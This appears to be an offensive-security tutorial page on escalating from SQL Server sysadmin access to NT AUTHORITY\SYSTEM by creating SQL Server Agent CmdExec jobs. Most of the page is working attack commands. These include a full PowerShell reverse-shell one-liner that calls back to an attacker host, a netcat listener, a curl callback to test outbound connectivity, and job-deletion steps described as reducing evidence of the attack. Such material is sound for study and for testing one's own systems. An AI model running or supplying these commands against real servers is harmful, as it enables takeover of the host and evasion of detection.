Skip to content
HackIndex logo

HackIndex

MSSQL to SYSTEM via SQL Server Agent Jobs

3 min read Mar 26, 2026

SQL Server Agent is a job scheduling service that runs as NT AUTHORITY\SYSTEM by default. Sysadmin logins can create Agent jobs with CmdExec job steps that execute arbitrary OS commands under that SYSTEM context. This is the standard path from SQL sysadmin access to full OS control when xp_cmdshell is blocked or monitored.

The SQL Server Agent service must be running for this to work. If the service is stopped, this path is unavailable but xp_cmdshell and Ole Automation remain as alternatives.

Check Agent Service Status

Confirm the SQL Server Agent service is running before creating jobs:

┌──(kali㉿kali)-[~]
└─$ impacket-mssqlclient $DOMAIN/$USER:$PASSWORD@$TARGET_IP -windows-auth
mysql> EXEC xp_cmdshell 'sc query SQLServerAgent';
STATE              : 4  RUNNING

STATE 4 RUNNING confirms the Agent service is active. If it shows STOPPED, attempt to start it if you have the permissions, otherwise fall back to xp_cmdshell.

Create and Execute an Agent Job

Create a job with a CmdExec step and run it immediately. Use a callback first to confirm SYSTEM execution before sending a reverse shell:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT
mysql> USE msdb; EXEC sp_add_job @job_name = 'pwn'; EXEC sp_add_jobstep @job_name = 'pwn', @step_name = 'exec', @subsystem = 'CmdExec', @command = 'powershell -nop -w hidden -c "$c=New-Object Net.Sockets.TCPClient(''$LHOST'',$LPORT);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$rb=$r+''PS ''+(pwd).Path+''> '';$sb=([text.encoding]::ASCII).GetBytes($rb);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()"'; EXEC sp_add_jobserver @job_name = 'pwn'; EXEC sp_start_job 'pwn';

The job executes asynchronously. Give it a few seconds before checking the listener. The connection arrives from the SQL Server Agent service context which is NT AUTHORITY\SYSTEM.

Check Job Execution Status

If the reverse shell does not connect, check the job history for error output:

mysql> SELECT j.name, h.step_name, h.message, h.run_status FROM msdb.dbo.sysjobhistory h JOIN msdb.dbo.sysjobs j ON h.job_id = j.job_id WHERE j.name = 'pwn' ORDER BY h.instance_id DESC;

run_status 0 means the step failed. The message field contains the error output from the CmdExec step. Common failures are PowerShell execution policy blocks and network egress restrictions. Try a simpler callback first to confirm outbound connectivity:

mysql> USE msdb; EXEC sp_add_job @job_name = 'test_cb'; EXEC sp_add_jobstep @job_name = 'test_cb', @step_name = 'cb', @subsystem = 'CmdExec', @command = 'cmd /c curl http://$LHOST:$LPORT/agent-test'; EXEC sp_add_jobserver @job_name = 'test_cb'; EXEC sp_start_job 'test_cb';

Clean Up Jobs After Use

Remove the created jobs after getting a shell to reduce evidence of the technique:

mysql> USE msdb; EXEC sp_delete_job @job_name = 'pwn'; EXEC sp_delete_job @job_name = 'test_cb';

References